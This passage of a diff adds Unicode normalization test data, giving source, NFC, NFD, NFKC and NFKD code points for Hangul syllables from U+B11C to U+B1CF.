+{ source: [0xB11C], NFC: [0xB11C], NFD: [0x1102, 0x1165, 0x11BB], NFKC: [0xB11C], NFKD: [0x1102, 0x1165, 0x11BB] },
+{ source: [0xB11D], NFC: [0xB11D], NFD: [0x1102, 0x1165, 0x11BC], NFKC: [0xB11D], NFKD: [0x1102, 0x1165, 0x11BC] },
+{ source: [0xB11E], NFC: [0xB11E], NFD: [0x1102, 0x1165, 0x11BD], NFKC: [0xB11E], NFKD: [0x1102, 0x1165, 0x11BD] },
+{ source: [0xB11F], NFC: [0xB11F], NFD: [0x1102, 0x1165, 0x11BE], NFKC: [0xB11F], NFKD: [0x1102, 0x1165, 0x11BE] },
+{ source: [0xB120], NFC: [0xB120], NFD: [0x1102, 0x1165, 0x11BF], NFKC: [0xB120], NFKD: [0x1102, 0x1165, 0x11BF] },
+{ source: [0xB121], NFC: [0xB121], NFD: [0x1102, 0x1165, 0x11C0], NFKC: [0xB121], NFKD: [0x1102, 0x1165, 0x11C0] },
+{ source: [0xB122], NFC: [0xB122], NFD: [0x1102, 0x1165, 0x11C1], NFKC: [0xB122], NFKD: [0x1102, 0x1165, 0x11C1] },
+{ source: [0xB123], NFC: [0xB123], NFD: [0x1102, 0x1165, 0x11C2], NFKC: [0xB123], NFKD: [0x1102, 0x1165, 0x11C2] },
+{ source: [0xB124], NFC: [0xB124], NFD: [0x1102, 0x1166], NFKC: [0xB124], NFKD: [0x1102, 0x1166] },
+{ source: [0xB125], NFC: [0xB125], NFD: [0x1102, 0x1166, 0x11A8], NFKC: [0xB125], NFKD: [0x1102, 0x1166, 0x11A8] },
+{ source: [0xB126], NFC: [0xB126], NFD: [0x1102, 0x1166, 0x11A9], NFKC: [0xB126], NFKD: [0x1102, 0x1166, 0x11A9] },
+{ source: [0xB127], NFC: [0xB127], NFD: [0x1102, 0x1166, 0x11AA], NFKC: [0xB127], NFKD: [0x1102, 0x1166, 0x11AA] },
+{ source: [0xB128], NFC: [0xB128], NFD: [0x1102, 0x1166, 0x11AB], NFKC: [0xB128], NFKD: [0x1102, 0x1166, 0x11AB] },
+{ source: [0xB129], NFC: [0xB129], NFD: [0x1102, 0x1166, 0x11AC], NFKC: [0xB129], NFKD: [0x1102, 0x1166, 0x11AC] },
+{ source: [0xB12A], NFC: [0xB12A], NFD: [0x1102, 0x1166, 0x11AD], NFKC: [0xB12A], NFKD: [0x1102, 0x1166, 0x11AD] },
+{ source: [0xB12B], NFC: [0xB12B], NFD: [0x1102, 0x1166, 0x11AE], NFKC: [0xB12B], NFKD: [0x1102, 0x1166, 0x11AE] },
+{ source: [0xB12C], NFC: [0xB12C], NFD: [0x1102, 0x1166, 0x11AF], NFKC: [0xB12C], NFKD: [0x1102, 0x1166, 0x11AF] },
+{ source: [0xB12D], NFC: [0xB12D], NFD: [0x1102, 0x1166, 0x11B0], NFKC: [0xB12D], NFKD: [0x1102, 0x1166, 0x11B0] },
+{ source: [0xB12E], NFC: [0xB12E], NFD: [0x1102, 0x1166, 0x11B1], NFKC: [0xB12E], NFKD: [0x1102, 0x1166, 0x11B1] },
+{ source: [0xB12F], NFC: [0xB12F], NFD: [0x1102, 0x1166, 0x11B2], NFKC: [0xB12F], NFKD: [0x1102, 0x1166, 0x11B2] },
+{ source: [0xB130], NFC: [0xB130], NFD: [0x1102, 0x1166, 0x11B3], NFKC: [0xB130], NFKD: [0x1102, 0x1166, 0x11B3] },
+{ source: [0xB131], NFC: [0xB131], NFD: [0x1102, 0x1166, 0x11B4], NFKC: [0xB131], NFKD: [0x1102, 0x1166, 0x11B4] },
+{ source: [0xB132], NFC: [0xB132], NFD: [0x1102, 0x1166, 0x11B5], NFKC: [0xB132], NFKD: [0x1102, 0x1166, 0x11B5] },
+{ source: [0xB133], NFC: [0xB133], NFD: [0x1102, 0x1166, 0x11B6], NFKC: [0xB133], NFKD: [0x1102, 0x1166, 0x11B6] },
+{ source: [0xB134], NFC: [0xB134], NFD: [0x1102, 0x1166, 0x11B7], NFKC: [0xB134], NFKD: [0x1102, 0x1166, 0x11B7] },
+{ source: [0xB135], NFC: [0xB135], NFD: [0x1102, 0x1166, 0x11B8], NFKC: [0xB135], NFKD: [0x1102, 0x1166, 0x11B8] },
+{ source: [0xB136], NFC: [0xB136], NFD: [0x1102, 0x1166, 0x11B9], NFKC: [0xB136], NFKD: [0x1102, 0x1166, 0x11B9] },
+{ source: [0xB137], NFC: [0xB137], NFD: [0x1102, 0x1166, 0x11BA], NFKC: [0xB137], NFKD: [0x1102, 0x1166, 0x11BA] },
+{ source: [0xB138], NFC: [0xB138], NFD: [0x1102, 0x1166, 0x11BB], NFKC: [0xB138], NFKD: [0x1102, 0x1166, 0x11BB] },
+{ source: [0xB139], NFC: [0xB139], NFD: [0x1102, 0x1166, 0x11BC], NFKC: [0xB139], NFKD: [0x1102, 0x1166, 0x11BC] },
+{ source: [0xB13A], NFC: [0xB13A], NFD: [0x1102, 0x1166, 0x11BD], NFKC: [0xB13A], NFKD: [0x1102, 0x1166, 0x11BD] },
+{ source: [0xB13B], NFC: [0xB13B], NFD: [0x1102, 0x1166, 0x11BE], NFKC: [0xB13B], NFKD: [0x1102, 0x1166, 0x11BE] },
+{ source: [0xB13C], NFC: [0xB13C], NFD: [0x1102, 0x1166, 0x11BF], NFKC: [0xB13C], NFKD: [0x1102, 0x1166, 0x11BF] },
+{ source: [0xB13D], NFC: [0xB13D], NFD: [0x1102, 0x1166, 0x11C0], NFKC: [0xB13D], NFKD: [0x1102, 0x1166, 0x11C0] },
+{ source: [0xB13E], NFC: [0xB13E], NFD: [0x1102, 0x1166, 0x11C1], NFKC: [0xB13E], NFKD: [0x1102, 0x1166, 0x11C1] },
+{ source: [0xB13F], NFC: [0xB13F], NFD: [0x1102, 0x1166, 0x11C2], NFKC: [0xB13F], NFKD: [0x1102, 0x1166, 0x11C2] },
+{ source: [0xB140], NFC: [0xB140], NFD: [0x1102, 0x1167], NFKC: [0xB140], NFKD: [0x1102, 0x1167] },
+{ source: [0xB141], NFC: [0xB141], NFD: [0x1102, 0x1167, 0x11A8], NFKC: [0xB141], NFKD: [0x1102, 0x1167, 0x11A8] },
+{ source: [0xB142], NFC: [0xB142], NFD: [0x1102, 0x1167, 0x11A9], NFKC: [0xB142], NFKD: [0x1102, 0x1167, 0x11A9] },
+{ source: [0xB143], NFC: [0xB143], NFD: [0x1102, 0x1167, 0x11AA], NFKC: [0xB143], NFKD: [0x1102, 0x1167, 0x11AA] },
+{ source: [0xB144], NFC: [0xB144], NFD: [0x1102, 0x1167, 0x11AB], NFKC: [0xB144], NFKD: [0x1102, 0x1167, 0x11AB] },
+{ source: [0xB145], NFC: [0xB145], NFD: [0x1102, 0x1167, 0x11AC], NFKC: [0xB145], NFKD: [0x1102, 0x1167, 0x11AC] },
+{ source: [0xB146], NFC: [0xB146], NFD: [0x1102, 0x1167, 0x11AD], NFKC: [0xB146], NFKD: [0x1102, 0x1167, 0x11AD] },
+{ source: [0xB147], NFC: [0xB147], NFD: [0x1102, 0x1167, 0x11AE], NFKC: [0xB147], NFKD: [0x1102, 0x1167, 0x11AE] },
+{ source: [0xB148], NFC: [0xB148], NFD: [0x1102, 0x1167, 0x11AF], NFKC: [0xB148], NFKD: [0x1102, 0x1167, 0x11AF] },
+{ source: [0xB149], NFC: [0xB149], NFD: [0x1102, 0x1167, 0x11B0], NFKC: [0xB149], NFKD: [0x1102, 0x1167, 0x11B0] },
+{ source: [0xB14A], NFC: [0xB14A], NFD: [0x1102, 0x1167, 0x11B1], NFKC: [0xB14A], NFKD: [0x1102, 0x1167, 0x11B1] },
+{ source: [0xB14B], NFC: [0xB14B], NFD: [0x1102, 0x1167, 0x11B2], NFKC: [0xB14B], NFKD: [0x1102, 0x1167, 0x11B2] },
+{ source: [0xB14C], NFC: [0xB14C], NFD: [0x1102, 0x1167, 0x11B3], NFKC: [0xB14C], NFKD: [0x1102, 0x1167, 0x11B3] },
+{ source: [0xB14D], NFC: [0xB14D], NFD: [0x1102, 0x1167, 0x11B4], NFKC: [0xB14D], NFKD: [0x1102, 0x1167, 0x11B4] },
+{ source: [0xB14E], NFC: [0xB14E], NFD: [0x1102, 0x1167, 0x11B5], NFKC: [0xB14E], NFKD: [0x1102, 0x1167, 0x11B5] },
+{ source: [0xB14F], NFC: [0xB14F], NFD: [0x1102, 0x1167, 0x11B6], NFKC: [0xB14F], NFKD: [0x1102, 0x1167, 0x11B6] },
+{ source: [0xB150], NFC: [0xB150], NFD: [0x1102, 0x1167, 0x11B7], NFKC: [0xB150], NFKD: [0x1102, 0x1167, 0x11B7] },
+{ source: [0xB151], NFC: [0xB151], NFD: [0x1102, 0x1167, 0x11B8], NFKC: [0xB151], NFKD: [0x1102, 0x1167, 0x11B8] },
+{ source: [0xB152], NFC: [0xB152], NFD: [0x1102, 0x1167, 0x11B9], NFKC: [0xB152], NFKD: [0x1102, 0x1167, 0x11B9] },
+{ source: [0xB153], NFC: [0xB153], NFD: [0x1102, 0x1167, 0x11BA], NFKC: [0xB153], NFKD: [0x1102, 0x1167, 0x11BA] },
+{ source: [0xB154], NFC: [0xB154], NFD: [0x1102, 0x1167, 0x11BB], NFKC: [0xB154], NFKD: [0x1102, 0x1167, 0x11BB] },
+{ source: [0xB155], NFC: [0xB155], NFD: [0x1102, 0x1167, 0x11BC], NFKC: [0xB155], NFKD: [0x1102, 0x1167, 0x11BC] },
+{ source: [0xB156], NFC: [0xB156], NFD: [0x1102, 0x1167, 0x11BD], NFKC: [0xB156], NFKD: [0x1102, 0x1167, 0x11BD] },
+{ source: [0xB157], NFC: [0xB157], NFD: [0x1102, 0x1167, 0x11BE], NFKC: [0xB157], NFKD: [0x1102, 0x1167, 0x11BE] },
+{ source: [0xB158], NFC: [0xB158], NFD: [0x1102, 0x1167, 0x11BF], NFKC: [0xB158], NFKD: [0x1102, 0x1167, 0x11BF] },
+{ source: [0xB159], NFC: [0xB159], NFD: [0x1102, 0x1167, 0x11C0], NFKC: [0xB159], NFKD: [0x1102, 0x1167, 0x11C0] },
+{ source: [0xB15A], NFC: [0xB15A], NFD: [0x1102, 0x1167, 0x11C1], NFKC: [0xB15A], NFKD: [0x1102, 0x1167, 0x11C1] },
+{ source: [0xB15B], NFC: [0xB15B], NFD: [0x1102, 0x1167, 0x11C2], NFKC: [0xB15B], NFKD: [0x1102, 0x1167, 0x11C2] },
+{ source: [0xB15C], NFC: [0xB15C], NFD: [0x1102, 0x1168], NFKC: [0xB15C], NFKD: [0x1102, 0x1168] },
+{ source: [0xB15D], NFC: [0xB15D], NFD: [0x1102, 0x1168, 0x11A8], NFKC: [0xB15D], NFKD: [0x1102, 0x1168, 0x11A8] },
+{ source: [0xB15E], NFC: [0xB15E], NFD: [0x1102, 0x1168, 0x11A9], NFKC: [0xB15E], NFKD: [0x1102, 0x1168, 0x11A9] },
+{ source: [0xB15F], NFC: [0xB15F], NFD: [0x1102, 0x1168, 0x11AA], NFKC: [0xB15F], NFKD: [0x1102, 0x1168, 0x11AA] },
+{ source: [0xB160], NFC: [0xB160], NFD: [0x1102, 0x1168, 0x11AB], NFKC: [0xB160], NFKD: [0x1102, 0x1168, 0x11AB] },
+{ source: [0xB161], NFC: [0xB161], NFD: [0x1102, 0x1168, 0x11AC], NFKC: [0xB161], NFKD: [0x1102, 0x1168, 0x11AC] },
+{ source: [0xB162], NFC: [0xB162], NFD: [0x1102, 0x1168, 0x11AD], NFKC: [0xB162], NFKD: [0x1102, 0x1168, 0x11AD] },
+{ source: [0xB163], NFC: [0xB163], NFD: [0x1102, 0x1168, 0x11AE], NFKC: [0xB163], NFKD: [0x1102, 0x1168, 0x11AE] },
+{ source: [0xB164], NFC: [0xB164], NFD: [0x1102, 0x1168, 0x11AF], NFKC: [0xB164], NFKD: [0x1102, 0x1168, 0x11AF] },
+{ source: [0xB165], NFC: [0xB165], NFD: [0x1102, 0x1168, 0x11B0], NFKC: [0xB165], NFKD: [0x1102, 0x1168, 0x11B0] },
+{ source: [0xB166], NFC: [0xB166], NFD: [0x1102, 0x1168, 0x11B1], NFKC: [0xB166], NFKD: [0x1102, 0x1168, 0x11B1] },
+{ source: [0xB167], NFC: [0xB167], NFD: [0x1102, 0x1168, 0x11B2], NFKC: [0xB167], NFKD: [0x1102, 0x1168, 0x11B2] },
+{ source: [0xB168], NFC: [0xB168], NFD: [0x1102, 0x1168, 0x11B3], NFKC: [0xB168], NFKD: [0x1102, 0x1168, 0x11B3] },
+{ source: [0xB169], NFC: [0xB169], NFD: [0x1102, 0x1168, 0x11B4], NFKC: [0xB169], NFKD: [0x1102, 0x1168, 0x11B4] },
+{ source: [0xB16A], NFC: [0xB16A], NFD: [0x1102, 0x1168, 0x11B5], NFKC: [0xB16A], NFKD: [0x1102, 0x1168, 0x11B5] },
+{ source: [0xB16B], NFC: [0xB16B], NFD: [0x1102, 0x1168, 0x11B6], NFKC: [0xB16B], NFKD: [0x1102, 0x1168, 0x11B6] },
+{ source: [0xB16C], NFC: [0xB16C], NFD: [0x1102, 0x1168, 0x11B7], NFKC: [0xB16C], NFKD: [0x1102, 0x1168, 0x11B7] },
+{ source: [0xB16D], NFC: [0xB16D], NFD: [0x1102, 0x1168, 0x11B8], NFKC: [0xB16D], NFKD: [0x1102, 0x1168, 0x11B8] },
+{ source: [0xB16E], NFC: [0xB16E], NFD: [0x1102, 0x1168, 0x11B9], NFKC: [0xB16E], NFKD: [0x1102, 0x1168, 0x11B9] },
+{ source: [0xB16F], NFC: [0xB16F], NFD: [0x1102, 0x1168, 0x11BA], NFKC: [0xB16F], NFKD: [0x1102, 0x1168, 0x11BA] },
+{ source: [0xB170], NFC: [0xB170], NFD: [0x1102, 0x1168, 0x11BB], NFKC: [0xB170], NFKD: [0x1102, 0x1168, 0x11BB] },
+{ source: [0xB171], NFC: [0xB171], NFD: [0x1102, 0x1168, 0x11BC], NFKC: [0xB171], NFKD: [0x1102, 0x1168, 0x11BC] },
+{ source: [0xB172], NFC: [0xB172], NFD: [0x1102, 0x1168, 0x11BD], NFKC: [0xB172], NFKD: [0x1102, 0x1168, 0x11BD] },
+{ source: [0xB173], NFC: [0xB173], NFD: [0x1102, 0x1168, 0x11BE], NFKC: [0xB173], NFKD: [0x1102, 0x1168, 0x11BE] },
+{ source: [0xB174], NFC: [0xB174], NFD: [0x1102, 0x1168, 0x11BF], NFKC: [0xB174], NFKD: [0x1102, 0x1168, 0x11BF] },
+{ source: [0xB175], NFC: [0xB175], NFD: [0x1102, 0x1168, 0x11C0], NFKC: [0xB175], NFKD: [0x1102, 0x1168, 0x11C0] },
+{ source: [0xB176], NFC: [0xB176], NFD: [0x1102, 0x1168, 0x11C1], NFKC: [0xB176], NFKD: [0x1102, 0x1168, 0x11C1] },
+{ source: [0xB177], NFC: [0xB177], NFD: [0x1102, 0x1168, 0x11C2], NFKC: [0xB177], NFKD: [0x1102, 0x1168, 0x11C2] },
+{ source: [0xB178], NFC: [0xB178], NFD: [0x1102, 0x1169], NFKC: [0xB178], NFKD: [0x1102, 0x1169] },
+{ source: [0xB179], NFC: [0xB179], NFD: [0x1102, 0x1169, 0x11A8], NFKC: [0xB179], NFKD: [0x1102, 0x1169, 0x11A8] },
+{ source: [0xB17A], NFC: [0xB17A], NFD: [0x1102, 0x1169, 0x11A9], NFKC: [0xB17A], NFKD: [0x1102, 0x1169, 0x11A9] },
+{ source: [0xB17B], NFC: [0xB17B], NFD: [0x1102, 0x1169, 0x11AA], NFKC: [0xB17B], NFKD: [0x1102, 0x1169, 0x11AA] },
+{ source: [0xB17C], NFC: [0xB17C], NFD: [0x1102, 0x1169, 0x11AB], NFKC: [0xB17C], NFKD: [0x1102, 0x1169, 0x11AB] },
+{ source: [0xB17D], NFC: [0xB17D], NFD: [0x1102, 0x1169, 0x11AC], NFKC: [0xB17D], NFKD: [0x1102, 0x1169, 0x11AC] },
+{ source: [0xB17E], NFC: [0xB17E], NFD: [0x1102, 0x1169, 0x11AD], NFKC: [0xB17E], NFKD: [0x1102, 0x1169, 0x11AD] },
+{ source: [0xB17F], NFC: [0xB17F], NFD: [0x1102, 0x1169, 0x11AE], NFKC: [0xB17F], NFKD: [0x1102, 0x1169, 0x11AE] },
+{ source: [0xB180], NFC: [0xB180], NFD: [0x1102, 0x1169, 0x11AF], NFKC: [0xB180], NFKD: [0x1102, 0x1169, 0x11AF] },
+{ source: [0xB181], NFC: [0xB181], NFD: [0x1102, 0x1169, 0x11B0], NFKC: [0xB181], NFKD: [0x1102, 0x1169, 0x11B0] },
+{ source: [0xB182], NFC: [0xB182], NFD: [0x1102, 0x1169, 0x11B1], NFKC: [0xB182], NFKD: [0x1102, 0x1169, 0x11B1] },
+{ source: [0xB183], NFC: [0xB183], NFD: [0x1102, 0x1169, 0x11B2], NFKC: [0xB183], NFKD: [0x1102, 0x1169, 0x11B2] },
+{ source: [0xB184], NFC: [0xB184], NFD: [0x1102, 0x1169, 0x11B3], NFKC: [0xB184], NFKD: [0x1102, 0x1169, 0x11B3] },
+{ source: [0xB185], NFC: [0xB185], NFD: [0x1102, 0x1169, 0x11B4], NFKC: [0xB185], NFKD: [0x1102, 0x1169, 0x11B4] },
+{ source: [0xB186], NFC: [0xB186], NFD: [0x1102, 0x1169, 0x11B5], NFKC: [0xB186], NFKD: [0x1102, 0x1169, 0x11B5] },
+{ source: [0xB187], NFC: [0xB187], NFD: [0x1102, 0x1169, 0x11B6], NFKC: [0xB187], NFKD: [0x1102, 0x1169, 0x11B6] },
+{ source: [0xB188], NFC: [0xB188], NFD: [0x1102, 0x1169, 0x11B7], NFKC: [0xB188], NFKD: [0x1102, 0x1169, 0x11B7] },
+{ source: [0xB189], NFC: [0xB189], NFD: [0x1102, 0x1169, 0x11B8], NFKC: [0xB189], NFKD: [0x1102, 0x1169, 0x11B8] },
+{ source: [0xB18A], NFC: [0xB18A], NFD: [0x1102, 0x1169, 0x11B9], NFKC: [0xB18A], NFKD: [0x1102, 0x1169, 0x11B9] },
+{ source: [0xB18B], NFC: [0xB18B], NFD: [0x1102, 0x1169, 0x11BA], NFKC: [0xB18B], NFKD: [0x1102, 0x1169, 0x11BA] },
+{ source: [0xB18C], NFC: [0xB18C], NFD: [0x1102, 0x1169, 0x11BB], NFKC: [0xB18C], NFKD: [0x1102, 0x1169, 0x11BB] },
+{ source: [0xB18D], NFC: [0xB18D], NFD: [0x1102, 0x1169, 0x11BC], NFKC: [0xB18D], NFKD: [0x1102, 0x1169, 0x11BC] },
+{ source: [0xB18E], NFC: [0xB18E], NFD: [0x1102, 0x1169, 0x11BD], NFKC: [0xB18E], NFKD: [0x1102, 0x1169, 0x11BD] },
+{ source: [0xB18F], NFC: [0xB18F], NFD: [0x1102, 0x1169, 0x11BE], NFKC: [0xB18F], NFKD: [0x1102, 0x1169, 0x11BE] },
+{ source: [0xB190], NFC: [0xB190], NFD: [0x1102, 0x1169, 0x11BF], NFKC: [0xB190], NFKD: [0x1102, 0x1169, 0x11BF] },
+{ source: [0xB191], NFC: [0xB191], NFD: [0x1102, 0x1169, 0x11C0], NFKC: [0xB191], NFKD: [0x1102, 0x1169, 0x11C0] },
+{ source: [0xB192], NFC: [0xB192], NFD: [0x1102, 0x1169, 0x11C1], NFKC: [0xB192], NFKD: [0x1102, 0x1169, 0x11C1] },
+{ source: [0xB193], NFC: [0xB193], NFD: [0x1102, 0x1169, 0x11C2], NFKC: [0xB193], NFKD: [0x1102, 0x1169, 0x11C2] },
+{ source: [0xB194], NFC: [0xB194], NFD: [0x1102, 0x116A], NFKC: [0xB194], NFKD: [0x1102, 0x116A] },
+{ source: [0xB195], NFC: [0xB195], NFD: [0x1102, 0x116A, 0x11A8], NFKC: [0xB195], NFKD: [0x1102, 0x116A, 0x11A8] },
+{ source: [0xB196], NFC: [0xB196], NFD: [0x1102, 0x116A, 0x11A9], NFKC: [0xB196], NFKD: [0x1102, 0x116A, 0x11A9] },
+{ source: [0xB197], NFC: [0xB197], NFD: [0x1102, 0x116A, 0x11AA], NFKC: [0xB197], NFKD: [0x1102, 0x116A, 0x11AA] },
+{ source: [0xB198], NFC: [0xB198], NFD: [0x1102, 0x116A, 0x11AB], NFKC: [0xB198], NFKD: [0x1102, 0x116A, 0x11AB] },
+{ source: [0xB199], NFC: [0xB199], NFD: [0x1102, 0x116A, 0x11AC], NFKC: [0xB199], NFKD: [0x1102, 0x116A, 0x11AC] },
+{ source: [0xB19A], NFC: [0xB19A], NFD: [0x1102, 0x116A, 0x11AD], NFKC: [0xB19A], NFKD: [0x1102, 0x116A, 0x11AD] },
+{ source: [0xB19B], NFC: [0xB19B], NFD: [0x1102, 0x116A, 0x11AE], NFKC: [0xB19B], NFKD: [0x1102, 0x116A, 0x11AE] },
+{ source: [0xB19C], NFC: [0xB19C], NFD: [0x1102, 0x116A, 0x11AF], NFKC: [0xB19C], NFKD: [0x1102, 0x116A, 0x11AF] },
+{ source: [0xB19D], NFC: [0xB19D], NFD: [0x1102, 0x116A, 0x11B0], NFKC: [0xB19D], NFKD: [0x1102, 0x116A, 0x11B0] },
+{ source: [0xB19E], NFC: [0xB19E], NFD: [0x1102, 0x116A, 0x11B1], NFKC: [0xB19E], NFKD: [0x1102, 0x116A, 0x11B1] },
+{ source: [0xB19F], NFC: [0xB19F], NFD: [0x1102, 0x116A, 0x11B2], NFKC: [0xB19F], NFKD: [0x1102, 0x116A, 0x11B2] },
+{ source: [0xB1A0], NFC: [0xB1A0], NFD: [0x1102, 0x116A, 0x11B3], NFKC: [0xB1A0], NFKD: [0x1102, 0x116A, 0x11B3] },
+{ source: [0xB1A1], NFC: [0xB1A1], NFD: [0x1102, 0x116A, 0x11B4], NFKC: [0xB1A1], NFKD: [0x1102, 0x116A, 0x11B4] },
+{ source: [0xB1A2], NFC: [0xB1A2], NFD: [0x1102, 0x116A, 0x11B5], NFKC: [0xB1A2], NFKD: [0x1102, 0x116A, 0x11B5] },
+{ source: [0xB1A3], NFC: [0xB1A3], NFD: [0x1102, 0x116A, 0x11B6], NFKC: [0xB1A3], NFKD: [0x1102, 0x116A, 0x11B6] },
+{ source: [0xB1A4], NFC: [0xB1A4], NFD: [0x1102, 0x116A, 0x11B7], NFKC: [0xB1A4], NFKD: [0x1102, 0x116A, 0x11B7] },
+{ source: [0xB1A5], NFC: [0xB1A5], NFD: [0x1102, 0x116A, 0x11B8], NFKC: [0xB1A5], NFKD: [0x1102, 0x116A, 0x11B8] },
+{ source: [0xB1A6], NFC: [0xB1A6], NFD: [0x1102, 0x116A, 0x11B9], NFKC: [0xB1A6], NFKD: [0x1102, 0x116A, 0x11B9] },
+{ source: [0xB1A7], NFC: [0xB1A7], NFD: [0x1102, 0x116A, 0x11BA], NFKC: [0xB1A7], NFKD: [0x1102, 0x116A, 0x11BA] },
+{ source: [0xB1A8], NFC: [0xB1A8], NFD: [0x1102, 0x116A, 0x11BB], NFKC: [0xB1A8], NFKD: [0x1102, 0x116A, 0x11BB] },
+{ source: [0xB1A9], NFC: [0xB1A9], NFD: [0x1102, 0x116A, 0x11BC], NFKC: [0xB1A9], NFKD: [0x1102, 0x116A, 0x11BC] },
+{ source: [0xB1AA], NFC: [0xB1AA], NFD: [0x1102, 0x116A, 0x11BD], NFKC: [0xB1AA], NFKD: [0x1102, 0x116A, 0x11BD] },
+{ source: [0xB1AB], NFC: [0xB1AB], NFD: [0x1102, 0x116A, 0x11BE], NFKC: [0xB1AB], NFKD: [0x1102, 0x116A, 0x11BE] },
+{ source: [0xB1AC], NFC: [0xB1AC], NFD: [0x1102, 0x116A, 0x11BF], NFKC: [0xB1AC], NFKD: [0x1102, 0x116A, 0x11BF] },
+{ source: [0xB1AD], NFC: [0xB1AD], NFD: [0x1102, 0x116A, 0x11C0], NFKC: [0xB1AD], NFKD: [0x1102, 0x116A, 0x11C0] },
+{ source: [0xB1AE], NFC: [0xB1AE], NFD: [0x1102, 0x116A, 0x11C1], NFKC: [0xB1AE], NFKD: [0x1102, 0x116A, 0x11C1] },
+{ source: [0xB1AF], NFC: [0xB1AF], NFD: [0x1102, 0x116A, 0x11C2], NFKC: [0xB1AF], NFKD: [0x1102, 0x116A, 0x11C2] },
+{ source: [0xB1B0], NFC: [0xB1B0], NFD: [0x1102, 0x116B], NFKC: [0xB1B0], NFKD: [0x1102, 0x116B] },
+{ source: [0xB1B1], NFC: [0xB1B1], NFD: [0x1102, 0x116B, 0x11A8], NFKC: [0xB1B1], NFKD: [0x1102, 0x116B, 0x11A8] },
+{ source: [0xB1B2], NFC: [0xB1B2], NFD: [0x1102, 0x116B, 0x11A9], NFKC: [0xB1B2], NFKD: [0x1102, 0x116B, 0x11A9] },
+{ source: [0xB1B3], NFC: [0xB1B3], NFD: [0x1102, 0x116B, 0x11AA], NFKC: [0xB1B3], NFKD: [0x1102, 0x116B, 0x11AA] },
+{ source: [0xB1B4], NFC: [0xB1B4], NFD: [0x1102, 0x116B, 0x11AB], NFKC: [0xB1B4], NFKD: [0x1102, 0x116B, 0x11AB] },
+{ source: [0xB1B5], NFC: [0xB1B5], NFD: [0x1102, 0x116B, 0x11AC], NFKC: [0xB1B5], NFKD: [0x1102, 0x116B, 0x11AC] },
+{ source: [0xB1B6], NFC: [0xB1B6], NFD: [0x1102, 0x116B, 0x11AD], NFKC: [0xB1B6], NFKD: [0x1102, 0x116B, 0x11AD] },
+{ source: [0xB1B7], NFC: [0xB1B7], NFD: [0x1102, 0x116B, 0x11AE], NFKC: [0xB1B7], NFKD: [0x1102, 0x116B, 0x11AE] },
+{ source: [0xB1B8], NFC: [0xB1B8], NFD: [0x1102, 0x116B, 0x11AF], NFKC: [0xB1B8], NFKD: [0x1102, 0x116B, 0x11AF] },
+{ source: [0xB1B9], NFC: [0xB1B9], NFD: [0x1102, 0x116B, 0x11B0], NFKC: [0xB1B9], NFKD: [0x1102, 0x116B, 0x11B0] },
+{ source: [0xB1BA], NFC: [0xB1BA], NFD: [0x1102, 0x116B, 0x11B1], NFKC: [0xB1BA], NFKD: [0x1102, 0x116B, 0x11B1] },
+{ source: [0xB1BB], NFC: [0xB1BB], NFD: [0x1102, 0x116B, 0x11B2], NFKC: [0xB1BB], NFKD: [0x1102, 0x116B, 0x11B2] },
+{ source: [0xB1BC], NFC: [0xB1BC], NFD: [0x1102, 0x116B, 0x11B3], NFKC: [0xB1BC], NFKD: [0x1102, 0x116B, 0x11B3] },
+{ source: [0xB1BD], NFC: [0xB1BD], NFD: [0x1102, 0x116B, 0x11B4], NFKC: [0xB1BD], NFKD: [0x1102, 0x116B, 0x11B4] },
+{ source: [0xB1BE], NFC: [0xB1BE], NFD: [0x1102, 0x116B, 0x11B5], NFKC: [0xB1BE], NFKD: [0x1102, 0x116B, 0x11B5] },
+{ source: [0xB1BF], NFC: [0xB1BF], NFD: [0x1102, 0x116B, 0x11B6], NFKC: [0xB1BF], NFKD: [0x1102, 0x116B, 0x11B6] },
+{ source: [0xB1C0], NFC: [0xB1C0], NFD: [0x1102, 0x116B, 0x11B7], NFKC: [0xB1C0], NFKD: [0x1102, 0x116B, 0x11B7] },
+{ source: [0xB1C1], NFC: [0xB1C1], NFD: [0x1102, 0x116B, 0x11B8], NFKC: [0xB1C1], NFKD: [0x1102, 0x116B, 0x11B8] },
+{ source: [0xB1C2], NFC: [0xB1C2], NFD: [0x1102, 0x116B, 0x11B9], NFKC: [0xB1C2], NFKD: [0x1102, 0x116B, 0x11B9] },
+{ source: [0xB1C3], NFC: [0xB1C3], NFD: [0x1102, 0x116B, 0x11BA], NFKC: [0xB1C3], NFKD: [0x1102, 0x116B, 0x11BA] },
+{ source: [0xB1C4], NFC: [0xB1C4], NFD: [0x1102, 0x116B, 0x11BB], NFKC: [0xB1C4], NFKD: [0x1102, 0x116B, 0x11BB] },
+{ source: [0xB1C5], NFC: [0xB1C5], NFD: [0x1102, 0x116B, 0x11BC], NFKC: [0xB1C5], NFKD: [0x1102, 0x116B, 0x11BC] },
+{ source: [0xB1C6], NFC: [0xB1C6], NFD: [0x1102, 0x116B, 0x11BD], NFKC: [0xB1C6], NFKD: [0x1102, 0x116B, 0x11BD] },
+{ source: [0xB1C7], NFC: [0xB1C7], NFD: [0x1102, 0x116B, 0x11BE], NFKC: [0xB1C7], NFKD: [0x1102, 0x116B, 0x11BE] },
+{ source: [0xB1C8], NFC: [0xB1C8], NFD: [0x1102, 0x116B, 0x11BF], NFKC: [0xB1C8], NFKD: [0x1102, 0x116B, 0x11BF] },
+{ source: [0xB1C9], NFC: [0xB1C9], NFD: [0x1102, 0x116B, 0x11C0], NFKC: [0xB1C9], NFKD: [0x1102, 0x116B, 0x11C0] },
+{ source: [0xB1CA], NFC: [0xB1CA], NFD: [0x1102, 0x116B, 0x11C1], NFKC: [0xB1CA], NFKD: [0x1102, 0x116B, 0x11C1] },
+{ source: [0xB1CB], NFC: [0xB1CB], NFD: [0x1102, 0x116B, 0x11C2], NFKC: [0xB1CB], NFKD: [0x1102, 0x116B, 0x11C2] },
+{ source: [0xB1CC], NFC: [0xB1CC], NFD: [0x1102, 0x116C], NFKC: [0xB1CC], NFKD: [0x1102, 0x116C] },
+{ source: [0xB1CD], NFC: [0xB1CD], NFD: [0x1102, 0x116C, 0x11A8], NFKC: [0xB1CD], NFKD: [0x1102, 0x116C, 0x11A8] },
+{ source: [0xB1CE], NFC: [0xB1CE], NFD: [0x1102, 0x116C, 0x11A9], NFKC: [0xB1CE], NFKD: [0x1102, 0x116C, 0x11A9] },
+{ source: [0xB1CF], NFC: [0xB1CF], NFD: [0x1102, 0x116C, 0x11AA], NFKC: [0xB1CF], NFKD: [0x1102, 0x116C, 0x11AA] },
